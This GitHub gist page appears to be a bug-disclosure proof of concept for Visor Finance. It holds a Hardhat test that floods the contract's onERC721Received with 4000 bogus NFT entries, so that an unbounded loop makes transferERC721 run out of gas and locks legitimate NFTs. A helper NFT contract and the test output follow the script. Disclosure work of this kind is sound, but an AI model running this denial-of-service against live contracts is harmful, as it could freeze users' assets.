Skip to content

Instantly share code, notes, and snippets.

@toastedsteaksandwich
Created May 15, 2021 18:24
Show Gist options
  • Save toastedsteaksandwich/0443dee7b3db7c9a31a3ede92680e777 to your computer and use it in GitHub Desktop.
Save toastedsteaksandwich/0443dee7b3db7c9a31a3ede92680e777 to your computer and use it in GitHub Desktop.
Visor finance - Unbounded for-loop bricks transferERC721() POC
const { expect } = require("chai")
const { waffle } = require("hardhat")
let provider = ethers.getDefaultProvider();
describe("brick poc", function () {
let visor;
let nft;
let signers;
beforeEach(async () => {
let nftFactory = await ethers.getContractFactory("MyNFT");
nft = await nftFactory.deploy();
signers = await ethers.getSigners()
let nftid = await nft.mintNFT(signers[0].address);
let Visor = await ethers.getContractFactory("Visor");
visor = await Visor.deploy();
await visor.initialize();
})
it("transfer NFT through contract to prove that it works", async function () {
console.log("owner of nft 1 is: " + await nft.ownerOf(1));
await nft.transferFrom(signers[0].address,visor.address,1);
await visor.onERC721Received(signers[0].address, signers[0].address, 1,"0x");
const storedNFTindex = await visor.getNftIdByTokenIdAndAddr(signers[0].address, 1);
console.log("added NFT at index: " + storedNFTindex);
console.log("transfer nft 1 to: " + signers[1].address);
await visor.transferERC721(signers[1].address, nft.address, 1);
console.log("transfer works, new owner of nft 1 is: " + await nft.ownerOf(1));
});
it("brick the contract by calling receive on non-existent NFTs", async function () {
console.log("populate nfts array with bogus entries");
for (i = 0; i < 4000; i++){
await visor.onERC721Received(visor.address, visor.address, 1337,"0x");
}
//mint and transfer legitimate NFT
await nft.mintNFT(signers[0].address);
await nft.transferFrom(signers[0].address,visor.address, 2);
await visor.onERC721Received(signers[0].address, signers[0].address, 2,"0x");
//this runs out of gas as well
//const storedNFTindex = await visor.getNftIdByTokenIdAndAddr(signers[0].address, 2);
//console.log("added NFT at index: " + storedNFTindex);
console.log("attempt to transfer transfer nft 2 to: " + signers[1].address);
await visor.transferERC721(signers[1].address, nft.address, 2);
}).timeout(60000);
})
//Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MyNFT is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
address overrideOwner;
constructor() public ERC721("MyNFT", "NFT") {overrideOwner = msg.sender;}
function mintNFT(address recipient)
public onlyOwner
returns (uint256)
{
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(recipient, newItemId);
return newItemId;
}
}
brick poc
owner of nft 1 is: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
added NFT at index: 0
transfer nft 1 to: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
transfer works, new owner of nft 1 is: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
✓ transfer NFT through contract to prove that it works
populate nfts array with bogus entries
attempt to transfer transfer nft 2 to: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
1) brick the contract by calling receive on non-existent NFTs
1 passing (1m)
1 failing
1) transfer fee forwarder
brick the contract by calling receive on non-existent NFTs:
TransactionExecutionError: Transaction ran out of gas
function transferERC721(
address to,
address nftContract,
uint256 tokenId
) external {
//truncated function
_removeNft(nftContract, tokenId);
IERC721(nftContract).safeTransferFrom(address(this), to, tokenId);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment